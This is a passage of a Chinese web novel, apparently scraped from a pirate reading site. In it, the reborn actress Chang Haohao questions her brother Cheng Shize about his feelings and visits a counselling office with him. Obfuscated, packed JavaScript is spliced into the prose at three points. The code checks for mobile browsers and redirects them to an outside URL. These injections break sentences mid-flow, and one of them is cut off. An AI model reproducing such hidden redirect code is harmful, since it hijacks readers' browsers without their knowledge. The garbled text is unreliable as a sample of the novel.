到了中午饭点,进入奶茶店的人越来越多。想着一直占着位子聊天不太好,常好好提出去附近餐厅吃饭。 宽敞的包房里,几个人有着聊不完的话题。不知道的,还以为她们是认识多年的朋友。 通过聊天,常好好对陈舒悦有了更深的了解,知道她每个月做公益,将兼职所得全部捐给福利学校。 那一刻,她特别庆幸,庆幸陈舒悦没有得到上一世的结局。 “舒悦,你好棒。”沈骁抢先一步,把常好好的心里话说了出来。 陈舒悦笑了笑,“没什么,这是我应该做的,从小养成的习惯。” “叮叮!” 手机通知音响起,她点开通知,嘀咕一句“成总来了。”声音不大,却被耳尖的沈骁捕捉到。 桌下,沈骁用力踹了常好好一脚。 常好好正微眯起眼睛,细细品味着汤的鲜味,脚下突然遭受袭击,差点把手里的汤碗扔出去。顿了下,用两只手稳稳端住汤碗,没好气地瞪沈骁一眼,心里嘟囔着:以前怎么没发现,沈骁有仇必报呢? 她完全没注意到沈骁对她挤眉弄眼,拿着汤勺继续喝汤。 沈骁急得心痒痒,见常好好没有领会她的意思,决定直接问出口:“舒悦,你口中的成总是哪个成总?” 听到“成总”两个字,常好好喝汤的动作停住,迅速放下汤碗,看向陈舒悦。 陈舒悦被常好好和沈骁紧盯,浑身不自在,但出于礼貌,仍然说出实情,“我刚上班没几天,具体了解的不多,只知道他是我们机构老板的朋友。”说完发现对面两个人仍旧一眨不眨地看着她,脸瞬间红了,“他……他是一个很有魅力的男人。” “他叫成世泽?”常好好问道。 “对,你们认识?” 常好好扯了扯唇,心里不禁感叹这个世界真小。 听到熟得不能再熟的名字,唯独还在享受美食的苏淼也放下了筷子。 四个女人大眼瞪小眼,谁都没有开口,每个人都有自己的小九九。 短短十秒钟在这一刻显得异常漫长。 “成世泽他……”常好好把“是我二哥”几个字咽了回去,“经常去你工作的地方吗?” 上一世,她上大学后与成世泽联系不多,对成世泽离婚后的生活了解不多。后来成世泽出事,她成为嫌疑人后,才知道一些关于成世泽的社会关系。 陈舒悦条理清晰,先回答工作室主理人是成世泽高中同学,再解释她对成世泽的情感停留于表面欣赏,最后说道:“我来这几天几乎每天都能看见他,以前的情况不清楚。” 得到答案,常好好与沈骁对视。 今天这顿饭信息量很大。回到酷誉里属于她们的小天地,两个人面对面坐下,开始复盘。 “陈舒悦说你二哥每天都去那个什么心理咨询室,你不觉得奇怪嘛?”沈骁不再是嘻嘻哈哈,面色严肃,认真分析道,“你二哥每天那么忙,不会平白无故去一个地方,一定有目的。” 常好好垂下眸子,点了点头。以她对成世泽的印象,成世泽确实不会没有缘由去一处多次,其中或许真藏着些什么。 她道:“我对他的了解停留在大学以前。想要深入了解要找一个人。” “谁?” 常好好邪魅一笑。 沈骁从她的眼神里看出端倪,后背一靠,一副大姐大的派头,了然地摆了摆手:“去吧去吧,我等你的好消息。” 外面各区域工位上的人不多,下午两点左右正是酷誉日常开会的时间。 担心凌枫开会不在办公室,常好好脚步加快,拐个弯的功夫跟迎面而来的人撞了个满怀,身体失重,整个往后倒。眼看就要仰面摔倒,一只大手捞过她的腰身轻轻往前一带。 她晃了晃,终于站稳。松了口气的同时,抬起头望着对面的男人,展开笑颜:“你去开会?” 男人平静回道:“不是。” 对面的男人正是常好好心心念念的凌枫。逮到机会,她哪有放过的道理,半个身子挡住男人:“你打算去哪?” 面对对方莫名其妙的问话,凌枫停顿两秒,察觉到常好好亮晶晶的眼睛,不自觉地扯了扯唇角,说道:“卫生间。” “太好了,你快去快回,我去你办公室里面坐着等你。”她不再拦着凌枫前方的路,小跑到凌枫办公室前,自然地打开门,没半点不好意思。 凌枫不拒绝,脸上更没有一丝一毫的不满情绪。可把远方摸鱼,看热闹的王宽等人惊呆了,一个个张着大嘴巴。尤其王宽,由于唇角咧得太大,扯破了。赶紧从抽屉里取出润唇膏,均匀涂抹后,抿了抿嘴唇。 于是,今日下午群里的八卦小时间开启。 【常好好怎么又来了?】 【我也好奇,你们说,她是不是很闲?】 【最近她挺火的吧,我看营销号说她要演好几部戏,怎么有时间往这儿跑。】 【营销号的话听听得了,之前一大批营销号说我们老大每个月换一个对象,太扯了。】 【我知道了!常好好是不是要代言我们公司的产品。】 【你别说,有可能。】 【怪不得,我说怎么总来,原来是这么回事。】 【对了,上次那个谁……】 其他员工好像真的找到了常好好经常出现在酷誉的原因,很快八卦重心转移,聊到了其他方面。只剩王宽默不作声,停止打字,目光跳过走廊,紧紧盯着凌枫办公室的大门,隐藏在心中的疑虑越来越多,憋得他难受极了。 上周王宽帮凌枫打印重要资料以及征信报告,看见了“已婚”俩字。在他的视角里,凌枫现在是有妇之夫,却跟常好好走得极近。 这时凌枫从洗手间回来。 王宽亲眼目睹凌枫进入办公室,临进室内,视线朝他这边看,递给他一个眼神。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“所以啊,很有可能你理解有误。” “你过来只是想说这件重要的事?” 凌枫的讽刺语言虽迟但到,常好好撇了撇嘴,心里默念别跟他一般见识,长出一口气,言归正传:“中午我们和陈舒悦吃饭,你猜怎么着,滨城真小,竟然让我们发现了大秘密。” 凌枫心知肚明“我们”里有谁。苏淼那句“要不要摊牌”始终缠绕在他心头,他当下心虚,持续垂眸没吭声。 见他反应平平,常好好继续道:“我二哥最近是不是很忙,我看他们刚还在开会。” “嗯。” 这就对上了。常好好激动之余从座位上弹起来,手臂撑在桌面上,眼眸比刚才还要亮上三分,“工作忙碌的情况下,他连续一周去隔壁街道一家心理咨询室,你不觉得奇怪吗。” 凌枫微微蹙眉,“心理咨询室?” “对啊,你是不是也觉得莫名其妙。听陈舒悦说主理人是我二哥的高中同学。”常好好双手击掌,在办公室走来走去,边走边分析,“有没有这样一种可能。如果没出事,我二哥会和高中同学在一起,或者说他们那个时候已经在一起,只是没对外公开。” 高中同学?凌枫心里没了底。 他本不是重生,怎么可能知道未来的事,干脆默不作声,摆出一副故弄玄虚的样子,等待常好好忍不住主动开口。 对面的男人突然没了声,常好好憋得难受,最后还是好奇心赢了,主动问道:“葬礼当天的情景你记得多少,印象中齐薇和孩子没来。” 因为邓敏情绪崩溃,到处说常好好与她的恩怨,以至于那时的常好好就被警方和身边亲朋好友怀疑,郁闷得天天觉都睡不好,根本无暇顾及其他,自然不记得其他没见过的人。 凌枫:“嗯。” 常好好:“你对他高中同学们有印象吗?” 凌枫没说话,摇了摇头。 常好好微微叹了口气:“哎,我也记不太清,只记得齐薇和我外甥女没来很意外。” “就算大人有恩怨,但再怎么说也是孩子父亲,应该让孩子去的。” 话落,对面那人终于不玩钢笔,开始折磨桌角上的摆件。 她强忍着急躁的情绪,问:“你怎么一句话不说,不会到现在仍怀疑我吧?” 还好,这次凌枫不像上次那般回答。 凌枫道:“不是。” “那你为什么不跟我讨论?”常好好的小脸瞬间褪去笑意,“这关乎于成世泽能不能摆脱悲剧,不是跟你开玩笑。” 常好好不知道,凌枫不是不想说,而是不知从何说起。 怪就怪在凌枫自己把这个细节忽略,从没问过陆颂有关成世泽葬礼的情况。 但逃避不能解决对方的疑问,当下顺着常好好给出的答案继续延伸。他道:“齐薇没带孩子去世泽的葬礼让人很意外,但我能理解。” 常好好不懂凌枫所说的理解,忽然感觉腿有点酸,连忙坐回椅子上,感叹道:“就算闹得不愉快,她总该让孩子来吧,毕竟——” 话说到一半,凌枫打断常好好,“孩子不是世泽的。” 38. 误会 “这样啊……”常好好习惯性地说了一句,然后整个人静止了。 不是夸张说法,是真的呆住了。 仿佛过了一个世纪,她唇瓣颤动,慢慢张开了嘴:“你……你刚说什么?” 成世泽的女儿不是他亲生的孩子,这是属于哪个级别的超级大瓜。 等等! 她从震惊到不爽仅仅用了三秒钟,“你知道这事?凭什么我不知道?” 凌枫瞥了一眼常好好忿忿不平的小表情,为自己倒了一杯茶水,吹了吹却没喝,语气中透露一丝无奈:“去成家找世泽,无意中看到孩子亲生父亲过来闹。” 这都能被他赶上。 常好好不知道该恭喜他,还是该安慰他。她换了个姿势,懒洋洋地道:“成家人都知道?” “差不多。” “还有谁不知情。” “你。” “……” 废话呢? 凌枫不想持续聊容易暴露他的话题,话锋一转:“你刚想说什么。” 差点忘记重点。常好好大脑宕机,思考了好半天才想起来要说啥。 “成世泽高中同学,说不定是他的真爱。”她道。 “他——” 这次换常好好打断凌枫的话,“你不要跟我说“世泽喜欢的人是你”之类没有经过他本人证明的话。” “结果显而易见。” “我跟他在一起生活十多年,他对我存没存其他心思我能不清楚?” 看凌枫露出不相信的笑,确切地说是鄙视。常好好气不打一处来,“喂!你那是什么表情,我也谈过恋爱,能不知道男女之间流动着的微妙氛围。” “恋爱?我记得合约上没写。”凌枫深深看她一眼。 之前的确没和凌枫提起过,她被盯得心虚,手指捋了捋发丝,随即弯下腰身,将打的完美的蝴蝶结鞋带拆开,又重新系上。 “重生回来我跟他不熟,满打满算没见过几次面。”说完抬起头,把侧脸留给凌枫,欣赏着办公室里曾经都没注意到的时钟。 常好好的小心思被凌枫看在眼里。 凌枫浅浅一笑,很快收起笑容,“陈舒悦目前如何。” “她整个人的状态特别好。”常好好终于把目光从时钟上面移到凌枫的脸,“不知道缘由,反正我很喜欢陈舒悦。而且我们审美一致,她今天说成世泽很帅。” “的确,我二哥温润如玉,如果是古装扮相肯定更有韵味。” “你是不是特别喜欢演古装剧。” “被你看出来了,知道为什么吗。” “为什么。” “因为古装发髻显得我的脸型特别小,特别好看。” “你应该能看出来,我面部最大硬伤是脸型,现实中看上去是刚好的椭圆脸,但是镜头里脸圆了两圈。”常好好双手捧着脸颊两边,不自觉地嘟起嘴巴,看起来很像可爱的卡通人物。 意识到自己晃神了,凌枫迅速别开视线,放低声音嘀咕道:“我不觉得。” “嗯?” “当下的你是最好的。” “你说的有道理。”常好好一本正经地点头,“我刚说的是我以前的想法,毕竟那时候每天都在为这些有的没的焦虑,担心自己上镜不好看。现在无所谓了,姐就是最美的。” 偌大的办公室非常安静。 为了缓解尴尬,常好好用力咳嗽一声,瞬间提高音量:“你怎么不回应我。这时候你不是应该回复我‘没错,你的确很美。’类似这种话吗?” “嗯,的确很美。” 对方不按常理出牌,直接把常好好整不会了。她张了张嘴没出声,换了个方向,将另一半侧脸给凌枫,眼睛盯着不远处的窗户,好似感叹今天的好天气。沉默许久,她又道:“我决定找机会与我二哥商量,争取顺利进入那家心理机构,顺便跟陈舒悦培养感情。” “你不是应该跟我培养感情吗。” 凌枫突然冒出来的一句话过于让人震惊,惊到常好好差点咬到舌头。她沉吟了一会儿,耐心解释:“我的意思是我喜欢陈舒悦,想跟她做朋友。” 凌枫先是蹙了蹙眉,而后又挑了挑眉。 “你别误会,我的意思不是不喜欢你,”她一下子变得词穷,“我是想说……我……” 清脆的敲门声来的正好,常好好不用再拉长音,也不用再浪费脑细胞,蹭的一下站起来快速打开门。 眼前一片绿,绿得她下意识地抽了抽嘴角。 果然白天不能说人。 常好好懵逼地看着成世泽的脸,从上到下,从下到上看了好几个来回,“二哥,你今天的穿搭好……帅啊。” 绿字被她憋了回去。 成世泽一身墨绿色定制西服,搭配白色条纹衬衫。帅是真帅,绿也是真绿。 “一会儿去见朋友。”成世泽笑着说。 朋友? 常好好来劲了,追着问:“男的女的?我认识吗?”一顿输出才意识到这个时候应该先让成世泽进来,伸手示意,“你请进。” 等成世泽迈步过去,快速关好门,有眼力见地坐到远处的位置,从书架里随便拿出一本书翻看,“你俩当我不在,你们说你们的。” 成世泽望着常好好的侧脸,顿了顿,转回头看向凌枫,见凌枫面上表情不变,心里了然,笑着坐下。 他道:“方案最后敲定,赶上后天元旦,明天开始放假吧。” 听到放假,常好好为小宋等人感到开心。成世泽不止帅,不止绿,更是个好老板。 “太突然了,我怕他们接受不了。” 某人的话很欠扁。 常好好斜了凌枫一眼,嘴唇微动,不出声音地发了一顿牢骚。 不想放假直说呗,装什么装。 听见好友的话,成世泽丝毫不觉得意外,笑着道:“大家最近忙里忙外,每天加班加点,多放一天开心开心。” 半晌,凌枫终于点头:“嗯,好。” 常好好内心为成世泽点赞,顺便给凌枫赞了一个。 “我一会儿见重要的朋友,今天提前走,有事随时电话联系。” “好,你忙你的。” 赞刚点完,听到成世泽再次提到出去见朋友,常好好忍不住插话:“二哥,你去见哪个朋友?几点见?” 常好好话音刚落,凌枫眼皮猛地跳了两下,他有种不好的预感。 成世泽坦坦荡荡,回道:“五点以后吧。” “太好了。”常好好把书放下,来到成世泽身边,“时间来得及,走吧,我们先聊聊。” 聊聊? 成世泽眼睛瞄向凌枫,又看向常好好,而后垂下眸子不知道在想些什么,最终没拒绝。 常好好走在成世泽身后,回过头,给凌枫一个“等着我的好消息”的手势,大摇大摆,自信满满地离开。 门关上前,透过一层小缝隙,朝着凌枫昂起下巴,带点挑衅的味道。 今天,姐要主动出击。 带着这种执念和期许,常好好手心冷不丁地直抽抽。许是太紧张了,她在心里嘀咕,此刻脑袋瓜不闲着,闪现出各种各样的画面。 不过,都是她的想象罢了。 见成世泽端起咖啡杯,轻轻抿了一口。她不动声色地拿起手机,点开录音机,确定录音开启,暗中吐出一口气,将手机屏幕倒扣在桌面。手紧紧握住精致的陶瓷杯把,却没有要喝的意思,浅笑道:“二哥,你是去见女人吧。” 成世泽微微颔首。 “其实有一件事藏在我心里很久,一直没有机会……”她唉声叹气,故意留白,等待成世泽上钩。 成世泽一如既往的给她面子,语气温和:“怎么了?你说,我听着。” “那我直说了。” “嗯。” “我真的说了。” “好。” “你是不是喜欢过我。” “……” 成世泽没有回答常好好的问题,此举非常少见。 嗯,寂静。 与她想象中几乎没差的耳边清净。常好好环顾四周,成世泽挺会选地方,选了一家极为小众的下午茶餐厅,顾客只有他们两位。 想到不久前瞟到的菜单价格,她立刻领悟到这家餐厅里的客人为何如此之少。 一分钟过去,成世泽仍旧没开口,她甚至不敢看成世泽的眼睛,终于端起陶瓷杯喝了一大口,然后……直接见底了。 店老板真黑啊。 她想缓解尴尬,盯着手里攥着的小鼻嘎杯,昧着良心说了一句:“嗯,好喝。”个屁。 “怪我。”成世泽不再沉默。 常好好抬起头,紧抿嘴唇,藏在桌下看似稳稳落地的双脚,实则脚指头用力扣着。 “其实,”成世泽无奈叹气,“不止你一个人误会过我的想法。” 误会? 他说了误会! 干的漂亮! 常好好第一时间对自己提出表扬,激动地握紧拳头,眼睛时不时地偷偷瞥向手机,心里疯狂的呐喊着:听到没有,我是对的!我的直觉没错! 她嘴角控制不住地往上翘,清楚成世泽说的别人是指谁,明知故问:“还有谁误会。” “爸。” 啥? 成知聿? 常好好傻眼了。 “我不太明白你的意思。”她脚趾不再扣地,换成手指头互扣,“你是说爸他,他以为你喜欢我。” “对。” “可是爸为什么会那样想?” “或许和他的经历有关。”成世泽看了一眼常好好,很快移走目光,垂下头,“人有时候是那样的。因为自己曾经的过往,格外担心身边人跟他一样走向那条,他认为本不应该开启的路。” 成年后,他回家经常碰见父母因为姑姑成初霁吵架。 刚开始他不能理解母亲,为何总在父亲面前提起早已过世多年的姑姑。后来通过一些人一些事,才知晓成初霁是成知聿的心结。 常好好不知成世泽心里所想,心里嘀咕着成世泽给出的答案。 这与她事先想到的答案完全不同。 一下子吸收不了那么多消息,眼下她完全没有细想有关成知聿的事,只想要成世泽心底深处那个真正的答案,“所以你对我真的没有,哪怕一丁点男女之情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17333817|197807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” “当然,在我心里你永远都是我的亲妹妹。”成世泽说话的同时直视常好好的双眼,不带半分闪躲。 听到了内心深处最想听的话,常好好松了口气,下意识摸了摸手机壳。 成世泽为人真诚,不可能编瞎话逗她玩。脑海里闪过凌枫那张帅脸,已经可以想象凌枫听到这段录音时的表情有多丰富。 如是想着,她伸手准备拿起手机,想要把录音暂停,恰巧被过来赠送新品甜点的服务员打断。 待服务员离开,成世泽轻声说:“最近很辛苦吧。” 常好好不明所以,手机的事被抛在脑后。她默默收回了手,思考成世泽突然说出这句话背后的含义。 “隐婚不容易,别焦虑。工作忙的时候记得缓一缓,别给自己太大压力。”成世泽补充了一句。 原来是在关心她。 常好好笑了,眼里尽是笑意:“放心,你妹妹我是经过大风大浪的人。” “况且这个世界上,哪有人不难。不过还好,眼前的难只是暂时,困难总会过去的。” 想当初她上个综艺节目,一言一行被某些不怀好意的人盯着。几百个营销号随便一个截图都能黑得五花八门,键盘侠们讨论无数个来回。 他们口中的“她”跟她本人没一毛钱关系。 后来一部剧让她口碑反转,几百个营销号随便一个截图又给她夸出花来,看得她一愣一愣的,怀疑他们夸奖的人到底是谁,因为他们口中“她”跟她关系也不大。 自那以后她好像突然开了窍,不再过度关注网络中众人对她的评价,看见有关她的讨论,基本不会停留。 许是心态变好的原因,运势随之起飞,送到她手上的剧本一个接一个。热度、关注度、口碑蹭蹭往上升。 感情里同样开花,遇见了上一世她唯一确定关系的男友。再准确点说,是前男友。 想到前男友江跃,常好好眼前突然冒出来凌枫的脸。 凌枫曾经不断打探她的感情问题,她却没跟他说实话。她不自觉地咽了一下口水,明白自己有多心虚。 “忆时,忆时?” 成世泽的呼喊传到耳朵里,常好好缓过神,察觉到最近的她很不对劲。 怎么什么都能联想到凌枫身上? 她闭上双眼,提醒自己今日的任务还未达成,赶快睁开眼,露出她那熟练的标准甜笑,问道:“怎么了?” 成世泽看着常好好,却看不透,这种似曾相识的感觉,很像一个人。他唇角微微上扬,“凌枫对你是认真的。” “?” 凌枫,怎么又是凌枫? 好不容易将凌枫那张大帅脸从脑袋里赶出去,偏偏成世泽又提起。 不是? 他说什么? 常好好做贼心虚,一会儿抠抠桌子,一会儿整理袖口处的蝴蝶胸针,一会儿摸摸鼻头,说起话来特别不自然,“当然,我们结婚证都领了,肯定是认真的。” 成世泽看破不说破。 小的时候,他们几个人经常在一起玩耍。凌枫退役后,几乎天天跟他在一起工作。他能不知道凌枫和常好好演了一出大戏? “你们俩幸福就好。”即便知道真相和他们面上表现出来的不同,他仍真心地祝福。 “幸福,必须幸福。”常好好一心惦记着话术,生怕再被其他话头岔过去,干脆直白表达,一点不拖泥带水,“你的人脉广,我从别人那里无意得知你高中同学是心理学方面的专家,想要你帮我一个忙。” 怕浪费大家的时间,她不等成世泽问出一系列问题,接着说道:“最近看到一个本子特别喜欢,娱乐圈你懂的,一个小角色引起的竞争都能争得你死我活,使出各种手段。” “我知道以我现在的咖位很难,根本不可能在激烈的竞争中脱颖而出,但我实在喜欢那个角色,每天晚上睡不着,所以最后决定努力争取,了解心理学方面的知识,让制作方看到我的真本事。” 一段话犹如发自肺腑。 成世泽被常好好的“真心”打动,听完她的讲述仅短短思考了一小下,便点头答应:“没问题,我帮你跟朋友打个招呼,但她的机构没有空余的办公室给你。” “不要紧,让我时不时地去她那转悠一圈,仔细观察周边,用心去感受。其他的不用太麻烦。”常好好生怕成世泽反悔,快速说完便要起立,脚下才轻轻挪动一下,忽然意识到她的动作目的性太强,于是收回脚,老老实实坐在位置上,等待成世泽发话。 果不其然,成世泽提出一起去。 目的达到,常好好趁成世泽转身的时候,露出得逞的笑容。 接下来,一切进行的很顺利。 成世泽带常好好轻车熟路地来到一家规模不小的心理机构。 首先映入眼帘的地方是机构前台。 前台工作区域比常好好想象中要大,前台工作人员看到有人进来连忙起身,手上拿着刚从夹子里取出的登记表。 “你好,请问——”工作人员清楚地看见常好好的脸,止住了每天例行说出的话。 常好好朝前台工作人员热情招手,“这么巧,又见面了。” 39. 新人 前台工作人员正是中午才碰过面的陈舒悦。 “二哥,这是我才跟你提过的朋友,陈舒悦。” “舒悦,他是我二哥成世泽。” 常好好替他们互相介绍了一遍。 怕成世泽有所顾虑,刚才在来的路上,她已经主动交代,为什么她会知道成世泽有高中同学在心理机构的前因后果。 成世泽和陈舒悦简单寒暄便移开视线,带常好好去见他的老同学。 陈舒悦望着成世泽和常好好的背影,脸蛋通红。 常好好迫不及待想要会会成世泽的老同学,自然看不见陈舒悦那张涨红了的脸,始终跟在成世泽身后,拐了几个弯,来到最里面的一间办公室,终于看见了成世泽的高中同学。 夏琳给成世泽面子,听到常好好为了角色过来感受和体验,二话不说同意了。 常好好仔细观察夏琳,她的外貌,她的穿着,她的谈吐举止,以及她眸中传递出来的情绪,能够感受到她是一个很有魅力的成熟女性,且对自己没有不满。 因为眼神是骗不了人的。 “小八又选了老地方,简直是个吃辣高手。” “我们几个人,他的变化最小,连口味都是……”成世泽和夏琳讨论着晚上的高中同学聚会。 看那架势,她是一点都插不进去。常好好很有眼色,不插话,不搞事,静静地站在一旁,目光投向夏琳办公桌上的相框。 相框里是夏琳和父母的合照。 常好好盯着相框游离了一阵,猛地想起成世泽办公室里有个被锁着的抽屉。不禁思考,里面到底装了什么?还有,凌枫家里那间被锁着的屋子,到底藏了什么宝贝? 脑袋瓜里再次蹦出跟凌枫有关的东西,她皱起了眉,懊恼地闭上眼。 “行,你先忙,我带着我妹去前台那边看看。” 成世泽的话使她头脑恢复清醒状态,笑着与夏琳打了声招呼,便跟随成世泽走出办公室。 “想什么呢?”前面的成世泽突然停下脚步,侧着身子问道。 常好好没刹住,额头朝前冲,与成世泽的西服来了个亲密接触。她心里面藏着事,没瞧见成世泽手臂处的位置上蹭到了她的粉底印,眼神一瞟,看见斜前方墙上挂着的卫生间标牌,指向那里道:“没事,我去趟卫生间。” 撩开女卫生间的帘子,瞬间闻到一股清新的香味,味道很是熟悉。 “竟然是同款空气清洗剂。”她感叹着,扫视一圈。 卫生间里有五个小隔间。其中四个厕所间,一个杂物工具间。 常好好站在洗手台旁边,从包里取出手机,手指一顿操作,再点击发送。 “哗啦。” 冷不丁的冲水声音吓她一激灵,条件反射般迅速将手机扔回包里,正了正身子,挤出洗手液摩擦出泡沫,打开水龙头冲洗。 蒋佳从最外间的厕所间出来,两只耳朵上均佩戴耳机,重复着常好好刚才的洗手动作。唯一区别是,她的速度更快些。 洗完手抽出纸巾,擦拭水珠的功夫也不忘开口叮嘱:“晚上尽量不要熬夜。” 听到特别的音色,常好好一时好奇,朝她那边望去。女人上下穿搭以黑色为主,简单盘了个发,整体干练成熟。看模样的话,大概四十多岁。 她刚要搭话,蒋佳侧身从裤子口袋里拿出手机,“对了,这周末常好好参与的综艺播出,你别忘记看。” 想说的话停在嘴边,常好好愣住,睫毛微微颤了颤。这个时候的她不过是小有热度,竟然在线下碰到了真爱粉。她再次升起搭话的心,语言没组织好呢,蒋佳脚步飞快,瞬间没了影。 “算了,过一阵都退圈了。”小声嘀咕着,她扔掉擦手巾,走出卫生间。 前厅人离离散散,成世泽站着的地方距离前台两米左右,他没有注意到常好好已经从卫生间里出来,目光专注地看向正对面站着的女人。 两个人开心的聊着,仿佛周围的人不存在。 常好好撞见了这一幕。 “搞什么,不是高中同学吗,怎么又出现一个人物。”她喃喃自语,对成世泽有了新的认识。 两个人站在一起的画面过于美好,直到长长的手臂切入到画面中。常好好微微偏过头,瞅见了朝她挥手的陈舒悦。灵机一动,快步走过去。 “我二哥对面的女人是谁啊。”她问。 “我师姐吴妍新,超厉害,是我们学校的优秀毕业生。” 说起吴妍新,陈舒悦明显比平时更加健谈,甚至连旁边的成世泽都被她自动忽略。 吴妍新的面容清秀干净,一张巴掌大的脸,线条很柔和。笑起来,眼角弯弯的,整个人有种淡淡的书卷气。无论从外貌还是气质上看,她和成世泽很相配。 跟沈骁在一起时间长了,常好好也跟着变得想象力丰富,开始头脑风暴,回忆成世泽分别与夏琳和吴妍新的对话与氛围。 忽地,她眼前一亮,恍然大悟。 原来如此,夏琳不过是个工具人。 表面上,他经常到此跟老同学叙旧;实际上,他的主要目的是见吴妍新,并和人家搭讪。 她这个二哥,好像对感情的事很生疏,要不要帮帮他呢。 常好好心里面一顿猜测,想着想着迟疑了,还好身边有陈舒悦,她继续问道:“舒悦,你师姐跟我二哥很熟吗?” “师姐是润成集团聘用的心理咨询师,除了这里,每周有两到三天会去集团。”提到润成集团,陈舒悦放慢语调,拖拖拉拉,“好好,你和成总……你们两个是亲兄妹?” 常好好怔了下,垂下眸子陷入思考。 目前看,陈舒悦已经摆脱了上一世的悲剧。最近几次相处,她能感觉到陈舒悦不是阴险狡诈之人。可以说,现在身边除了凌枫、沈骁他们,最值得信任的人之一便有陈舒悦。 因为按照上一世的时间线,那个时候的陈舒悦已经不存在了。 捋好逻辑,常好好心中安定,投向陈舒悦的目光渐渐柔和,看着看着,眼中竟含起了泪花。 陈舒悦下意识地退后小半步,着实被常好好突如其来的情绪吓到,小心翼翼地问:“你……没事吧?” 话音未落,她的手被常好好执起,于是她更加懵逼了。 两个女人就这样静静地望着对方。 想着别把对方吓跑,常好好把复杂的情绪憋了回去,“实不相瞒,我的本名是成忆时,成世泽的妹妹。” “我的天!” 陈舒悦惊呼一声,发现声音过大,赶紧压低声音:“你真的是成忆时?” “没错,是我。” “你让我缓缓。”陈舒悦眼睛里全是对“知识”的渴望,“我听同事提起过成总妹妹,居然是你。所以你,你真的和凌枫有婚约?” 请问这对吗? 怎么她和凌枫的婚约,好像所有人都知道? “咳咳咳,”陈舒悦咳得很刻意,“其实我一点不八卦。对明星啊,豪门啊那些都不感兴趣。我知道这些是因为中午吃饭的时候总听同事他们说起。” “我中午跟你提过的,成总前一阵经常过来,所以大家都很好奇其中内幕,聊得比较忘我,从成总到身边其他人,越聊越多。”说到后面,她越来越没有底气。 常好好嘴角抽了抽,不八卦还聊出这么多内容。她没点破陈舒悦的八卦之魂,挑着重点回复,“我跟凌枫的事没那么重要,我二哥他的感情比较重要。” 陈舒悦眨巴着她那双单纯无害的大眼睛。 常好好一把搂过她的肩头,继续渗透,“你们聊那么多八卦肯定知道我二哥他离婚的事。作为他的好妹妹,我很关心他的感情问题。” 陈舒悦似懂非懂地点了点头。 “你以你的视角看,我二哥跟你师姐是不是有点什么?”常好好开门见山,问得相当直白。 陈舒悦歪了歪头,想了一会儿,轻声说:“他们两个好像很熟,但有没有其他……”她摇了摇头,“不清楚。” 常好好了然,探出脑袋朝成世泽那边看,结果人家俩人聊的热火朝天,压根没有离开的意思。她挽住陈舒悦的手臂,套起近乎,“我二哥离婚后一直一个人,有时候看他真的很可怜。如果接下来他身边有情况,你能不能第一时间告诉我。” 陈舒悦不解地问:“他不是有一个女儿吗?” 常好好嘴比脑子快,脱口而出道:“孩子又不是他的。” “啊?”陈舒悦清新脱俗的瓜子脸仿佛变了形,“不是……不是什么?” 常好好打着哈哈:“哎呀口误,不重要。以后我会经常来这里,你发现成世泽有情况,别忘记告诉我。”瞄到陈舒悦那张仍旧没缓过来的清丽脸蛋。她使出杀手锏,附在她的耳边低声道,“我实在好奇他离婚后的感情生活,八卦嘛,你懂的。” 于是,陈舒悦面色严肃,郑重其事地朝她点头。 常好好憋住笑,赶紧转身,结果成世泽还在聊。 传说中的真爱? 他们两个到底有多少共同语言? 临近五点,咨询室的人渐渐多了起来。常好好担心打扰到陈舒悦工作,离开前台在附近找了个位置坐下,慵懒的姿势,默默观察成世泽与吴妍新长达半小时的交谈。 眼看一时半会儿结束不了,她翻出手机里刚存好的录音内容,没有丝毫剪辑成分,直接发给凌枫,顺便附带一句话。 【好好生活:事实证明我是对的。在我二哥的心里,我永远是他的妹妹。】 寻常回复很快的凌枫,迟迟没有回话。常好好朝吴妍新那边望了一眼,低下头,继续码字。 【好好生活:吴妍新你认识吗?】 大约五分钟,对面仍旧没有任何回复。 她盯着手机屏幕发呆,无数个猜想冒出来,连成世泽过来都不知道。 “想什么呢。”成世泽坐在她身旁,笑着问。 常好好握紧手机,回了神。第一时间望向周围,没瞧见吴妍新的身影,“二哥,刚才跟你聊天的美女呢。” “她有工作。” “你跟她很熟吗?” “还好。” “她很有气质。” “确实。” “听说她是集团聘用的人。” “嗯。”成世泽抬起手腕,盯着手表看了一小会儿,“你车停在了酷誉吧,一会儿回酷誉找凌枫吗?” 看出来了,明显不想多谈。常好好眯了眯眼,心里寻思着:绝对有问题。嘴上却道:“明天跨年你去哪儿过。” “你呢?”成世泽不答反问,“回不回家里过。” 那不是我家。 常好好瞧着成世泽笑呵呵的脸,不忍心把心里话直白说出来,随便扯了个谎,“你知道的,我最近好不容易有了一点热度,菲姐趁着好时机给我拉到合作,跨年那几天不一定有时间,就不过去了。” 成世泽心里明镜着,说了声“好”。 常好好看向手机屏幕,除了工作群,没有其他新消息。她心思都放在“凌枫为何不回她”上,跟成世泽简单说了声,急急忙忙赶回酷誉。 酷誉大门前,小宋和后勤部门的人正在关门。 她眸光扫向门内,静悄悄一片,大口喘着气,问道:“下班了?” 小宋回身,看见了常好好。她的表情明显愣了下,点了点头:“是啊,公司元旦提前放假了。” 大门已关,公司内不可能有其他人存在,包括凌枫。 常好好回到家里,简单梳洗一番便窝在软椅里,盯着手机放空。不在酷誉,不回消息,莫非回家了?她绞尽脑汁,琢磨凌枫的心思。 欢快的手机铃声猛地响起。 她的嘴角上扬,却在瞥见手机屏幕上的名字后收起了笑容。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 